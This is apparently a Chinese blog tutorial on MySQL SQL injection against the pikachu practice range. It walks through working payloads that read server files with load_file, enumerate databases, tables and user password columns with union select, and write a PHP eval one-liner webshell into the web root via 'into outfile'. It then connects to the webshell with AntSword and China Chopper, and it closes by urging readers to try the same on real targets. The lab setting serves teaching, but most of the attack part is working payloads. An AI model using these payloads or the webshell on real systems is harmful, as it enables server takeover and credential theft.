前言
本篇博客主要是通过piakchu靶场来讲解如何通过SQL注入漏洞来写入文件，读取文件。通过SQL输入来注入木马来getshell等，讲解了比较详细的过程；
如果想要学习SQL注入原理以及如何进行SQL注入，我也写了一篇详细的SQL注入方法及原理链接如下
【超详细】你知道什么是SQL注入吗？直到如何通过SQL注入来控制目标服务器吗？一篇文章教你sql注入漏洞的原理及方法----sql注入【上】_ANii_Aini的博客-CSDN博客SQL注入漏洞详解。包括原理，分类比如数字型，字符型，搜索型，xx型，宽字节注入，报错注入，盲注，有无回显等，各种注入payload以及产生原因等等
一，SQL注入读取文件或数据库数据
（主要用pikachu靶场演示）
1-1 读取文件数据
前提条件
如何开启mysql的secure_file_priv这个配置呢？
找个空白地方协商这个配置即可
然后重启mysql服务即可生效。
读取文件借助mysql自带的功能函数load_file
比如我们先在根目录写一个文件aini.txt的文件
现在要读取这个文件 （根路径为C:\tools\phpstudy\PHPTutorial\WWW）
先用终端演示，用物理机终端连上靶机的数据库
先授权，在靶机打开数据库命令行
先输入密码进入数据库终端，然后授权远程主机登录
授权完就可以用物理机终端进入，如果不想用物理机的也可以直接在靶机上操作
读取文件的代码（用load_file函数，别忘了用\对路径里的\进行转义）
select load_file("C:\\tools\\phpstudy\\PHPTutorial\\WWW\\aini.txt");
测试union联合查询语句
select id,email from member where username = 'vince' union select 1,load_file("C:\\tools\\phpstudy\\PHPTutorial\\WWW\\aini.txt");
用网站SQL注入漏洞去注入 （以pikachu靶场为例）
payload为
vince' union select 1,load_file("C:\\tools\\phpstudy\\PHPTutorial\\WWW\\aini.txt");#通过联合查询，成功读取到了服务器文件
1-2 读取数据库数据
1-2-1 判断查询的字段个数
' order by 1,2,3--+ #报错，表示字段个数小于3个，那么减少一个字段来尝试
' order by 1,2--+ #不报错，表示字段个数为2个，如果还报错，那么继续减少一个来尝试
' order by 1,2#
' order by 1,2,3#payload为
vine' order by 1,2,3;#
表示位置的列数3，表名3是多余的，后端查询语句中不是三个字段，那就改payload,改为如下
vince' order by 1,2;#
表示，这个字符型注入的查询，后台select语句后面查询的是2个字段数据，那么我们就知道，通过union联合查询的时候，查询的数据是2个字段数据了。
1-2-2 查询当前数据库名、用户名、版本等信息
' union select user(),version();#
1-2-3 获取mysq所有库名
' union select 1,group_concat(schema_name) from information_schema.schemata;#
## 浏览器地址栏要URL编码，表单直接#或者 -- 就可以
' union select 1,group_concat(schema_name) from information_schema.schemata;#
#和 -- mysql的注释符号 （注意--前面有空格）
1-2-4 获取pikachu库的所有表名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+
' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#
1-2-5 获取表中的字段名
' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273;#
1-2-6 获取所有字段数据
' union select 1,group_concat(id,0x7c,username,0x7c,password,0x7c,level,0x7c) from users;#
1-3 getshell
1-3-1 木马利用试验
1-1 准备木马
首先在站点根目录创建一个aini.php文件，写入一句话木马
1-2 用工具连接木马
用蚁剑 进行连接
注意连接密码是写一句话木马的时候 指定的连接密码
写好了以后点击测试连接，然后点击右上角添加即可
双击就就可以成功拿到对方服务器了
右击还有很多别的功能，数据库操作，文件操作等，不细讲了
以后专门写一篇博客介绍这些一句话木马利用工具的利用过程
接下来用菜刀这款工具使一下
右击添加也行，编辑也行
填写地址和连接木马以后点右下角‘编辑’即可
双击就可以拿到对方服务器了
这就是一句话木马的简单利用
1-3-2 通过注入点进行木马注入
2-1 通过注入点写入木马程序的前提条件
2-2 通过注入点写入木马程序
' union select "<?php @xx($_POST['aini']);?>",2 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\muma.php";#
' union select "<?php @eval($_POST['aini']);?>",2 into outfile "C:\\tools\\phpStudy\\PHPTutorial\\WWW\\muma.php";#
## xx表示eval，因为直接写eval，我们的这个md文档会被杀软杀掉的。我用第二条payload 向根路径写入了一个muma.php文件
报了个warning，不过我们去看一下靶机根路径，有没有写入成功
写入成功了
我们用工具利用一下看看
成功了，所以在真实SQL注入环境中，看看能不能通过注入一句户木马来控制目标主机
2-3 获得后台真实物理路径的方法
mysql数据库的SQL注入就分享到这里，如果需要靶场环境或者工具可以留言
若有不懂的地方可以留言，欢迎技术交流
